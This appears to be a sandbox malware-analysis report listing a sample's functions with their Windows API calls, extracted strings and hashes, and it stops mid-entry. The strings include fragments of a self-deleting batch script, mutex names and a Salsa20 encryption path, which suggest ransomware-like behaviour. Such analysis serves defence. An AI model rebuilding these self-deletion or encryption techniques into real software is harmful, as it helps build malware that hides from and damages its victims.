API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
del ", xrefs: 00412674
D, xrefs: 00412720
@echo off:trydel ", xrefs: 0041262A
"if exist ", xrefs: 00412648
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C
TEMP, xrefs: 004125DF

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----, xrefs: 004636D4, 00463A21
-----BEGIN , xrefs: 004636A4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4
, xrefs: 00463A90

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

